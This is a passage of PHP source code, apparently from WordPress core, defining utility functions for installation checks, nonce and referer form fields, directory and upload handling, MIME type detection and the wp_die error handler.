        $installed = $alloptions['siteurl'];
    $wpdb->suppress_errors( $suppress );

    $installed = !empty( $installed );
    wp_cache_set( 'is_blog_installed', $installed );

    if ( $installed )
        return true;

    // If visiting repair.php, return true and let it take over.
    if ( defined( 'WP_REPAIRING' ) )
        return true;

    $suppress = $wpdb->suppress_errors();

    // Loop over the WP tables. If none exist, then scratch install is allowed.
    // If one or more exist, suggest table repair since we got here because the options
    // table could not be accessed.
    $wp_tables = $wpdb->tables();
    foreach ( $wp_tables as $table ) {
        // The existence of custom user tables shouldn't suggest an insane state or prevent a clean install.
        if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
            continue;
        if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
            continue;

        if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
            continue;

        // One or more tables exist. We are insane.

        wp_load_translations_early();

        // Die with a DB error.
        $wpdb->error = sprintf( __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' );
        dead_db();
    }

    $wpdb->suppress_errors( $suppress );

    wp_cache_set( 'is_blog_installed', false );

    return false;
}

/**
 * Retrieve URL with nonce added to URL query.
 *
 * @package WordPress
 * @subpackage Security
 * @since 2.0.4
 *
 * @param string $actionurl URL to add nonce action
 * @param string $action Optional. Nonce action name
 * @return string URL with nonce action added.
 */

function wp_nonce_url( $actionurl, $action = -1 ) {
    $actionurl = str_replace( '&amp;', '&', $actionurl );
    return esc_html( add_query_arg( '_wpnonce', wp_create_nonce( $action ), $actionurl ) );
}

/**
 * Retrieve or display nonce hidden field for forms.
 *
 * The nonce field is used to validate that the contents of the form came from
 * the location on the current site and not somewhere else. The nonce does not
 * offer absolute protection, but should protect against most cases. It is very
 * important to use nonce field in forms.
 *
 * The $action and $name are optional, but if you want to have better security,
 * it is strongly suggested to set those two parameters. It is easier to just
 * call the function without any parameters, because validation of the nonce
 * doesn't require any parameters, but since crackers know what the default is
 * it won't be difficult for them to find a way around your nonce and cause
 * damage.
 *
 * The input name will be whatever $name value you gave. The input value will be
 * the nonce creation value.
 *
 * @package WordPress
 * @subpackage Security
 * @since 2.0.4
 *
 * @param string $action Optional. Action name.
 * @param string $name Optional. Nonce name.
 * @param bool $referer Optional, default true. Whether to set the referer field for validation.
 * @param bool $echo Optional, default true. Whether to display or return hidden form field.
 * @return string Nonce field.
 */

function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
    $name = esc_attr( $name );
    $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';

    if ( $referer )
        $nonce_field .= wp_referer_field( false );

    if ( $echo )
        echo $nonce_field;

    return $nonce_field;
}

/**
 * Retrieve or display referer hidden field for forms.
 *
 * The referer link is the current Request URI from the server super global. The
 * input name is '_wp_http_referer', in case you wanted to check manually.
 *
 * @package WordPress
 * @subpackage Security
 * @since 2.0.4
 *
 * @param bool $echo Whether to echo or return the referer field.
 * @return string Referer field.
 */

function wp_referer_field( $echo = true ) {
    $ref = esc_attr( $_SERVER['REQUEST_URI'] );
    $referer_field = '<input type="hidden" name="_wp_http_referer" value="'. $ref . '" />';

    if ( $echo )
        echo $referer_field;
    return $referer_field;
}

/**
 * Retrieve or display original referer hidden field for forms.
 *
 * The input name is '_wp_original_http_referer' and will be either the same
 * value of {@link wp_referer_field()}, if that was posted already or it will
 * be the current page, if it doesn't exist.
 *
 * @package WordPress
 * @subpackage Security
 * @since 2.0.4
 *
 * @param bool $echo Whether to echo the original http referer
 * @param string $jump_back_to Optional, default is 'current'. Can be 'previous' or page you want to jump back to.
 * @return string Original referer field.
 */

function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
    $jump_back_to = ( 'previous' == $jump_back_to ) ? wp_get_referer() : $_SERVER['REQUEST_URI'];
    $ref = ( wp_get_original_referer() ) ? wp_get_original_referer() : $jump_back_to;
    $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( stripslashes( $ref ) ) . '" />';
    if ( $echo )
        echo $orig_referer_field;
    return $orig_referer_field;
}

/**
 * Retrieve referer from '_wp_http_referer' or HTTP referer. If it's the same
 * as the current request URL, will return false.
 *
 * @package WordPress
 * @subpackage Security
 * @since 2.0.4
 *
 * @return string|bool False on failure. Referer URL on success.
 */

function wp_get_referer() {
    $ref = false;
    if ( ! empty( $_REQUEST['_wp_http_referer'] ) )
        $ref = $_REQUEST['_wp_http_referer'];
    else if ( ! empty( $_SERVER['HTTP_REFERER'] ) )
        $ref = $_SERVER['HTTP_REFERER'];

    if ( $ref && $ref !== $_SERVER['REQUEST_URI'] )
        return $ref;
    return false;
}

/**
 * Retrieve original referer that was posted, if it exists.
 *
 * @package WordPress
 * @subpackage Security
 * @since 2.0.4
 *
 * @return string|bool False if no original referer or original referer if set.
 */

function wp_get_original_referer() {
    if ( !empty( $_REQUEST['_wp_original_http_referer'] ) )
        return $_REQUEST['_wp_original_http_referer'];
    return false;
}

/**
 * Recursive directory creation based on full path.
 *
 * Will attempt to set permissions on folders.
 *
 * @since 2.0.1
 *
 * @param string $target Full path to attempt to create.
 * @return bool Whether the path was created. True if path already exists.
 */

function wp_mkdir_p( $target ) {
    $wrapper = null;

    // strip the protocol
    if( wp_is_stream( $target ) ) {
        list( $wrapper, $target ) = explode( '://', $target, 2 );
    }

    // from php.net/mkdir user contributed notes
    $target = str_replace( '//', '/', $target );

    // put the wrapper back on the target
    if( $wrapper !== null ) {
        $target = $wrapper . '://' . $target;
    }

    // safe mode fails with a trailing slash under certain PHP versions.
    $target = rtrim($target, '/'); // Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
    if ( empty($target) )
        $target = '/';

    if ( file_exists( $target ) )
        return @is_dir( $target );

    // Attempting to create the directory may clutter up our display.
    if ( @mkdir( $target ) ) {
        $stat = @stat( dirname( $target ) );
        $dir_perms = $stat['mode'] & 0007777;  // Get the permission bits.
        @chmod( $target, $dir_perms );
        return true;
    } elseif ( is_dir( dirname( $target ) ) ) {
            return false;
    }

    // If the above failed, attempt to create the parent node, then try again.
    if ( ( $target != '/' ) && ( wp_mkdir_p( dirname( $target ) ) ) )
        return wp_mkdir_p( $target );

    return false;
}

/**
 * Test if a give filesystem path is absolute ('/foo/bar', 'c:\windows').
 *
 * @since 2.5.0
 *
 * @param string $path File path
 * @return bool True if path is absolute, false is not absolute.
 */

function path_is_absolute( $path ) {
    // this is definitive if true but fails if $path does not exist or contains a symbolic link
    if ( realpath($path) == $path )
        return true;

    if ( strlen($path) == 0 || $path[0] == '.' )
        return false;

    // windows allows absolute paths like this
    if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
        return true;

    // a path starting with / or \ is absolute; anything else is relative
    return ( $path[0] == '/' || $path[0] == '\\' );
}

/**
 * Join two filesystem paths together (e.g. 'give me $path relative to $base').
 *
 * If the $path is absolute, then it the full path is returned.
 *
 * @since 2.5.0
 *
 * @param string $base
 * @param string $path
 * @return string The path with the base or absolute path.
 */

function path_join( $base, $path ) {
    if ( path_is_absolute($path) )
        return $path;

    return rtrim($base, '/') . '/' . ltrim($path, '/');
}

/**
 * Determines a writable directory for temporary files.
 * Function's preference is the return value of <code>sys_get_temp_dir()</code>,
 * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
 * before finally defaulting to /tmp/
 *
 * In the event that this function does not find a writable location,
 * It may be overridden by the <code>WP_TEMP_DIR</code> constant in
 * your <code>wp-config.php</code> file.
 *
 * @since 2.5.0
 *
 * @return string Writable temporary directory
 */

function get_temp_dir() {
    static $temp;
    if ( defined('WP_TEMP_DIR') )
        return trailingslashit(WP_TEMP_DIR);

    if ( $temp )
        return trailingslashit( rtrim( $temp, '\\' ) );

    $is_win = ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) );

    if ( function_exists('sys_get_temp_dir') ) {
        $temp = sys_get_temp_dir();
        if ( @is_dir( $temp ) && ( $is_win ? win_is_writable( $temp ) : @is_writable( $temp ) ) ) {
            return trailingslashit( rtrim( $temp, '\\' ) );
        }
    }

    $temp = ini_get('upload_tmp_dir');
    if ( is_dir( $temp ) && ( $is_win ? win_is_writable( $temp ) : @is_writable( $temp ) ) )
        return trailingslashit( rtrim( $temp, '\\' ) );

    $temp = WP_CONTENT_DIR . '/';
    if ( is_dir( $temp ) && ( $is_win ? win_is_writable( $temp ) : @is_writable( $temp ) ) )
        return $temp;

    $temp = '/tmp/';
    return $temp;
}

/**
 * Workaround for Windows bug in is_writable() function
 *
 * @since 2.8.0
 *
 * @param string $path
 * @return bool
 */

function win_is_writable( $path ) {
    /* will work in despite of Windows ACLs bug
     * NOTE: use a trailing slash for folders!!!
     * see http://bugs.php.net/bug.php?id=27609
     * see http://bugs.php.net/bug.php?id=30931
     */

    if ( $path[strlen( $path ) - 1] == '/' ) // recursively return a temporary file path
        return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
    else if ( is_dir( $path ) )
        return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
    // check tmp file for read/write capabilities
    $should_delete_tmp_file = !file_exists( $path );
    $f = @fopen( $path, 'a' );
    if ( $f === false )
        return false;
    fclose( $f );
    if ( $should_delete_tmp_file )
        unlink( $path );
    return true;
}

/**
 * Get an array containing the current upload directory's path and url.
 *
 * Checks the 'upload_path' option, which should be from the web root folder,
 * and if it isn't empty it will be used. If it is empty, then the path will be
 * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
 * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
 *
 * The upload URL path is set either by the 'upload_url_path' option or by using
 * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
 *
 * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
 * the administration settings panel), then the time will be used. The format
 * will be year first and then month.
 *
 * If the path couldn't be created, then an error will be returned with the key
 * 'error' containing the error message. The error suggests that the parent
 * directory is not writable by the server.
 *
 * On success, the returned array will have many indices:
 * 'path' - base directory and sub directory or full path to upload directory.
 * 'url' - base url and sub directory or absolute URL to upload directory.
 * 'subdir' - sub directory if uploads use year/month folders option is on.
 * 'basedir' - path without subdir.
 * 'baseurl' - URL path without subdir.
 * 'error' - set to false.
 *
 * @since 2.0.0
 * @uses apply_filters() Calls 'upload_dir' on returned array.
 *
 * @param string $time Optional. Time formatted in 'yyyy/mm'.
 * @return array See above for description.
 */

function wp_upload_dir( $time = null ) {
    $siteurl = get_option( 'siteurl' );
    $upload_path = trim( get_option( 'upload_path' ) );

    if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
        $dir = WP_CONTENT_DIR . '/uploads';
    } elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
        // $dir is absolute, $upload_path is (maybe) relative to ABSPATH
        $dir = path_join( ABSPATH, $upload_path );
    } else {
        $dir = $upload_path;
    }

    if ( !$url = get_option( 'upload_url_path' ) ) {
        if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
            $url = WP_CONTENT_URL . '/uploads';
        else
            $url = trailingslashit( $siteurl ) . $upload_path;
    }

    // Obey the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
    // We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
    if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
        $dir = ABSPATH . UPLOADS;
        $url = trailingslashit( $siteurl ) . UPLOADS;
    }

    // If multisite (and if not the main site in a post-MU network)
    if ( is_multisite() && ! ( is_main_site() && defined( 'MULTISITE' ) ) ) {

        if ( ! get_site_option( 'ms_files_rewriting' ) ) {
            // If ms-files rewriting is disabled (networks created post-3.5), it is fairly straightforward:
            // Append sites/%d if we're not on the main site (for post-MU networks). (The extra directory
            // prevents a four-digit ID from conflicting with a year-based directory for the main site.
            // But if a MU-era network has disabled ms-files rewriting manually, they don't need the extra
            // directory, as they never had wp-content/uploads for the main site.)

            if ( defined( 'MULTISITE' ) )
                $ms_dir = '/sites/' . get_current_blog_id();
            else
                $ms_dir = '/' . get_current_blog_id();

            $dir .= $ms_dir;
            $url .= $ms_dir;

        } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
            // Handle the old-form ms-files.php rewriting if the network still has that enabled.
            // When ms-files rewriting is enabled, then we only listen to UPLOADS when:
            //   1) we are not on the main site in a post-MU network,
            //      as wp-content/uploads is used there, and
            //   2) we are not switched, as ms_upload_constants() hardcodes
            //      these constants to reflect the original blog ID.
            //
            // Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
            // (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
            // as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
            // rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)

            if ( defined( 'BLOGUPLOADDIR' ) )
                $dir = untrailingslashit( BLOGUPLOADDIR );
            else
                $dir = ABSPATH . UPLOADS;
            $url = trailingslashit( $siteurl ) . 'files';
        }
    }

    $basedir = $dir;
    $baseurl = $url;

    $subdir = '';
    if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
        // Generate the yearly and monthly dirs
        if ( !$time )
            $time = current_time( 'mysql' );
        $y = substr( $time, 0, 4 );
        $m = substr( $time, 5, 2 );
        $subdir = "/$y/$m";
    }

    $dir .= $subdir;
    $url .= $subdir;

    $uploads = apply_filters( 'upload_dir',
        array(
            'path'    => $dir,
            'url'     => $url,
            'subdir'  => $subdir,
            'basedir' => $basedir,
            'baseurl' => $baseurl,
            'error'   => false,
        ) );

    // Make sure we have an uploads dir
    if ( ! wp_mkdir_p( $uploads['path'] ) ) {
        if ( 0 === strpos( $uploads['basedir'], ABSPATH ) )
            $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
        else
            $error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];

        $message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );
        $uploads['error'] = $message;
    }

    return $uploads;
}

/**
 * Get a filename that is sanitized and unique for the given directory.
 *
 * If the filename is not unique, then a number will be added to the filename
 * before the extension, and will continue adding numbers until the filename is
 * unique.
 *
 * The callback is passed three parameters, the first one is the directory, the
 * second is the filename, and the third is the extension.
 *
 * @since 2.5.0
 *
 * @param string $dir
 * @param string $filename
 * @param mixed $unique_filename_callback Callback.
 * @return string New filename, if given wasn't unique.
 */

function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
    // sanitize the file name before we begin processing
    $filename = sanitize_file_name($filename);

    // separate the filename into a name and extension
    $info = pathinfo($filename);
    $ext = !empty($info['extension']) ? '.' . $info['extension'] : '';
    $name = basename($filename, $ext);

    // edge case: if file is named '.ext', treat as an empty name
    if ( $name === $ext )
        $name = '';

    // Increment the file number until we have a unique file to save in $dir. Use callback if supplied.
    if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
        $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
    } else {
        $number = '';

        // change '.ext' to lower case
        if ( $ext && strtolower($ext) != $ext ) {
            $ext2 = strtolower($ext);
            $filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );

            // check for both lower and upper case extension or image sub-sizes may be overwritten
            while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
                $new_number = $number + 1;
                $filename = str_replace( "$number$ext", "$new_number$ext", $filename );
                $filename2 = str_replace( "$number$ext2", "$new_number$ext2", $filename2 );
                $number = $new_number;
            }
            return $filename2;
        }

        while ( file_exists( $dir . "/$filename" ) ) {
            if ( '' == "$number$ext" )
                $filename = $filename . ++$number . $ext;
            else
                $filename = str_replace( "$number$ext", ++$number . $ext, $filename );
        }
    }

    return $filename;
}

/**
 * Create a file in the upload folder with given content.
 *
 * If there is an error, then the key 'error' will exist with the error message.
 * If success, then the key 'file' will have the unique file path, the 'url' key
 * will have the link to the new file. and the 'error' key will be set to false.
 *
 * This function will not move an uploaded file to the upload folder. It will
 * create a new file with the content in $bits parameter. If you move the upload
 * file, read the content of the uploaded file, and then you can give the
 * filename and content to this function, which will add it to the upload
 * folder.
 *
 * The permissions will be set on the new file automatically by this function.
 *
 * @since 2.0.0
 *
 * @param string $name
 * @param null $deprecated Never used. Set to null.
 * @param mixed $bits File content
 * @param string $time Optional. Time formatted in 'yyyy/mm'.
 * @return array
 */

function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
    if ( !empty( $deprecated ) )
        _deprecated_argument( __FUNCTION__, '2.0' );

    if ( empty( $name ) )
        return array( 'error' => __( 'Empty filename' ) );

    $wp_filetype = wp_check_filetype( $name );
    if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
        return array( 'error' => __( 'Invalid file type' ) );

    $upload = wp_upload_dir( $time );

    if ( $upload['error'] !== false )
        return $upload;

    $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
    if ( !is_array( $upload_bits_error ) ) {
        $upload[ 'error' ] = $upload_bits_error;
        return $upload;
    }

    $filename = wp_unique_filename( $upload['path'], $name );

    $new_file = $upload['path'] . "/$filename";
    if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
        if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
            $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
        else
            $error_path = basename( $upload['basedir'] ) . $upload['subdir'];

        $message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );
        return array( 'error' => $message );
    }

    $ifp = @ fopen( $new_file, 'wb' );
    if ( ! $ifp )
        return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );

    @fwrite( $ifp, $bits );
    fclose( $ifp );
    clearstatcache();

    // Set correct file permissions
    $stat = @ stat( dirname( $new_file ) );
    $perms = $stat['mode'] & 0007777;
    $perms = $perms & 0000666;
    @ chmod( $new_file, $perms );
    clearstatcache();

    // Compute the URL
    $url = $upload['url'] . "/$filename";

    return array( 'file' => $new_file, 'url' => $url, 'error' => false );
}

/**
 * Retrieve the file type based on the extension name.
 *
 * @package WordPress
 * @since 2.5.0
 * @uses apply_filters() Calls 'ext2type' hook on default supported types.
 *
 * @param string $ext The extension to search.
 * @return string|null The file type, example: audio, video, document, spreadsheet, etc. Null if not found.
 */

function wp_ext2type( $ext ) {
    $ext2type = apply_filters( 'ext2type', array(
        'audio'       => array( 'aac', 'ac3',  'aif',  'aiff', 'm3a',  'm4a',   'm4b',  'mka',  'mp1',  'mp2',  'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
        'video'       => array( 'asf', 'avi',  'divx', 'dv',   'flv',  'm4v',   'mkv',  'mov',  'mp4',  'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt',  'rm', 'vob', 'wmv' ),
        'document'    => array( 'doc', 'docx', 'docm', 'dotm', 'odt',  'pages', 'pdf',  'rtf',  'wp',   'wpd' ),
        'spreadsheet' => array( 'numbers',     'ods',  'xls',  'xlsx', 'xlsm',  'xlsb' ),
        'interactive' => array( 'swf', 'key',  'ppt',  'pptx', 'pptm', 'pps',   'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
        'text'        => array( 'asc', 'csv',  'tsv',  'txt' ),
        'archive'     => array( 'bz2', 'cab',  'dmg',  'gz',   'rar',  'sea',   'sit',  'sqx',  'tar',  'tgz',  'zip', '7z' ),
        'code'        => array( 'css', 'htm',  'html', 'php',  'js' ),
    ));
    foreach ( $ext2type as $type => $exts )
        if ( in_array( $ext, $exts ) )
            return $type;
}

/**
 * Retrieve the file type from the file name.
 *
 * You can optionally define the mime array, if needed.
 *
 * @since 2.0.4
 *
 * @param string $filename File name or path.
 * @param array $mimes Optional. Key is the file extension with value as the mime type.
 * @return array Values with extension first and mime type.
 */

function wp_check_filetype( $filename, $mimes = null ) {
    if ( empty($mimes) )
        $mimes = get_allowed_mime_types();
    $type = false;
    $ext = false;

    foreach ( $mimes as $ext_preg => $mime_match ) {
        $ext_preg = '!\.(' . $ext_preg . ')$!i';
        if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
            $type = $mime_match;
            $ext = $ext_matches[1];
            break;
        }
    }

    return compact( 'ext', 'type' );
}

/**
 * Attempt to determine the real file type of a file.
 * If unable to, the file name extension will be used to determine type.
 *
 * If it's determined that the extension does not match the file's real type,
 * then the "proper_filename" value will be set with a proper filename and extension.
 *
 * Currently this function only supports validating images known to getimagesize().
 *
 * @since 3.0.0
 *
 * @param string $file Full path to the image.
 * @param string $filename The filename of the image (may differ from $file due to $file being in a tmp directory)
 * @param array $mimes Optional. Key is the file extension with value as the mime type.
 * @return array Values for the extension, MIME, and either a corrected filename or false if original $filename is valid
 */

function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {

    $proper_filename = false;

    // Do basic extension validation and MIME mapping
    $wp_filetype = wp_check_filetype( $filename, $mimes );
    extract( $wp_filetype );

    // We can't do any further validation without a file to work with
    if ( ! file_exists( $file ) )
        return compact( 'ext', 'type', 'proper_filename' );

    // We're able to validate images using GD
    if ( $type && 0 === strpos( $type, 'image/' ) && function_exists('getimagesize') ) {

        // Attempt to figure out what type of image it actually is
        $imgstats = @getimagesize( $file );

        // If getimagesize() knows what kind of image it really is and if the real MIME doesn't match the claimed MIME
        if ( !empty($imgstats['mime']) && $imgstats['mime'] != $type ) {
            // This is a simplified array of MIMEs that getimagesize() can detect and their extensions
            // You shouldn't need to use this filter, but it's here just in case
            $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
                'image/jpeg' => 'jpg',
                'image/png'  => 'png',
                'image/gif'  => 'gif',
                'image/bmp'  => 'bmp',
                'image/tiff' => 'tif',
            ) );

            // Replace whatever is after the last period in the filename with the correct extension
            if ( ! empty( $mime_to_ext[ $imgstats['mime'] ] ) ) {
                $filename_parts = explode( '.', $filename );
                array_pop( $filename_parts );
                $filename_parts[] = $mime_to_ext[ $imgstats['mime'] ];
                $new_filename = implode( '.', $filename_parts );

                if ( $new_filename != $filename )
                    $proper_filename = $new_filename; // Mark that it changed

                // Redefine the extension / MIME
                $wp_filetype = wp_check_filetype( $new_filename, $mimes );
                extract( $wp_filetype );
            }
        }
    }

    // Let plugins try and validate other types of files
    // Should return an array in the style of array( 'ext' => $ext, 'type' => $type, 'proper_filename' => $proper_filename )
    return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
}

/**
 * Retrieve list of mime types and file extensions.
 *
 * @since 3.5.0
 *
 * @uses apply_filters() Calls 'mime_types' on returned array. This filter should
 * be used to add types, not remove them. To remove types use the upload_mimes filter.
 *
 * @return array Array of mime types keyed by the file extension regex corresponding to those types.
 */

function wp_get_mime_types() {
    // Accepted MIME types are set here as PCRE unless provided.
    return apply_filters( 'mime_types', array(
    // Image formats
    'jpg|jpeg|jpe' => 'image/jpeg',
    'gif' => 'image/gif',
    'png' => 'image/png',
    'bmp' => 'image/bmp',
    'tif|tiff' => 'image/tiff',
    'ico' => 'image/x-icon',
    // Video formats
    'asf|asx|wax|wmv|wmx' => 'video/asf',
    'avi' => 'video/avi',
    'divx' => 'video/divx',
    'flv' => 'video/x-flv',
    'mov|qt' => 'video/quicktime',
    'mpeg|mpg|mpe' => 'video/mpeg',
    'mp4|m4v' => 'video/mp4',
    'ogv' => 'video/ogg',
    'mkv' => 'video/x-matroska',
    // Text formats
    'txt|asc|c|cc|h' => 'text/plain',
    'csv' => 'text/csv',
    'tsv' => 'text/tab-separated-values',
    'ics' => 'text/calendar',
    'rtx' => 'text/richtext',
    'css' => 'text/css',
    'htm|html' => 'text/html',
    // Audio formats
    'mp3|m4a|m4b' => 'audio/mpeg',
    'ra|ram' => 'audio/x-realaudio',
    'wav' => 'audio/wav',
    'ogg|oga' => 'audio/ogg',
    'mid|midi' => 'audio/midi',
    'wma' => 'audio/wma',
    'mka' => 'audio/x-matroska',
    // Misc application formats
    'rtf' => 'application/rtf',
    'js' => 'application/javascript',
    'pdf' => 'application/pdf',
    'swf' => 'application/x-shockwave-flash',
    'class' => 'application/java',
    'tar' => 'application/x-tar',
    'zip' => 'application/zip',
    'gz|gzip' => 'application/x-gzip',
    'rar' => 'application/rar',
    '7z' => 'application/x-7z-compressed',
    'exe' => 'application/x-msdownload',
    // MS Office formats
    'doc' => 'application/msword',
    'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
    'wri' => 'application/vnd.ms-write',
    'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
    'mdb' => 'application/vnd.ms-access',
    'mpp' => 'application/vnd.ms-project',
    'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
    'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
    'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
    'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
    'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
    'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
    'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
    'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
    'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
    'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
    'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
    'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
    'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
    'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
    'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
    'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
    'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
    'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
    'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
    'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
    // OpenOffice formats
    'odt' => 'application/vnd.oasis.opendocument.text',
    'odp' => 'application/vnd.oasis.opendocument.presentation',
    'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
    'odg' => 'application/vnd.oasis.opendocument.graphics',
    'odc' => 'application/vnd.oasis.opendocument.chart',
    'odb' => 'application/vnd.oasis.opendocument.database',
    'odf' => 'application/vnd.oasis.opendocument.formula',
    // WordPerfect formats
    'wp|wpd' => 'application/wordperfect',
    ) );
}
/**
 * Retrieve list of allowed mime types and file extensions.
 *
 * @since 2.8.6
 *
 * @uses apply_filters() Calls 'upload_mimes' on returned array
 * @uses wp_get_upload_mime_types() to fetch the list of mime types
 *
 * @return array Array of mime types keyed by the file extension regex corresponding to those types.
 */

function get_allowed_mime_types() {
    return apply_filters( 'upload_mimes', wp_get_mime_types() );
}

/**
 * Display "Are You Sure" message to confirm the action being taken.
 *
 * If the action has the nonce explain message, then it will be displayed along
 * with the "Are you sure?" message.
 *
 * @package WordPress
 * @subpackage Security
 * @since 2.0.4
 *
 * @param string $action The nonce action.
 */

function wp_nonce_ays( $action ) {
    $title = __( 'WordPress Failure Notice' );
    if ( 'log-out' == $action ) {
        $html = sprintf( __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ) . '</p><p>';
        $html .= sprintf( __( "Do you really want to <a href='%s'>log out</a>?"), wp_logout_url() );
    } else {
        $html = __( 'Are you sure you want to do this?' );
        if ( wp_get_referer() )
            $html .= "</p><p><a href='" . esc_url( remove_query_arg( 'updated', wp_get_referer() ) ) . "'>" . __( 'Please try again.' ) . "</a>";
    }

    wp_die( $html, $title, array('response' => 403) );
}

/**
 * Kill WordPress execution and display HTML message with error message.
 *
 * This function complements the die() PHP function. The difference is that
 * HTML will be displayed to the user. It is recommended to use this function
 * only, when the execution should not continue any further. It is not
 * recommended to call this function very often and try to handle as many errors
 * as possible silently.
 *
 * @since 2.0.4
 *
 * @param string $message Error message.
 * @param string $title Error title.
 * @param string|array $args Optional arguments to control behavior.
 */

function wp_die( $message = '', $title = '', $args = array() ) {
    if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
        $function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
    elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST )
        $function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
    else
        $function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );

    call_user_func( $function, $message, $title, $args );
}

/**
 * Kill WordPress execution and display HTML message with error message.
 *
 * This is the default handler for wp_die if you want a custom one for your
 * site then you can overload using the wp_die_handler filter in wp_die
 *
 * @since 3.0.0
 * @access private
 *
 * @param string $message Error message.
 * @param string $title Error title.
 * @param string|array $args Optional arguments to control behavior.
 */

function _default_wp_die_handler( $message, $title = '', $args = array() ) {
    $defaults = array( 'response' => 500 );
    $r = wp_parse_args($args, $defaults);

    $have_gettext = function_exists('__');

    if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
        if ( empty( $title ) ) {
            $error_data = $message->get_error_data();
            if ( is_array( $error_data ) && isset( $error_data['title'] ) )
                $title = $error_data['title'];
        }
        $errors = $message->get_error_messages();
        switch ( count( $errors ) ) :
        case 0 :
            $message = '';
            break;
        case 1 :
            $message = "<p>{$errors[0]}</p>";
            break;
        default :
            $message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
            break;
        endswitch;
    } elseif ( is_string( $message ) ) {
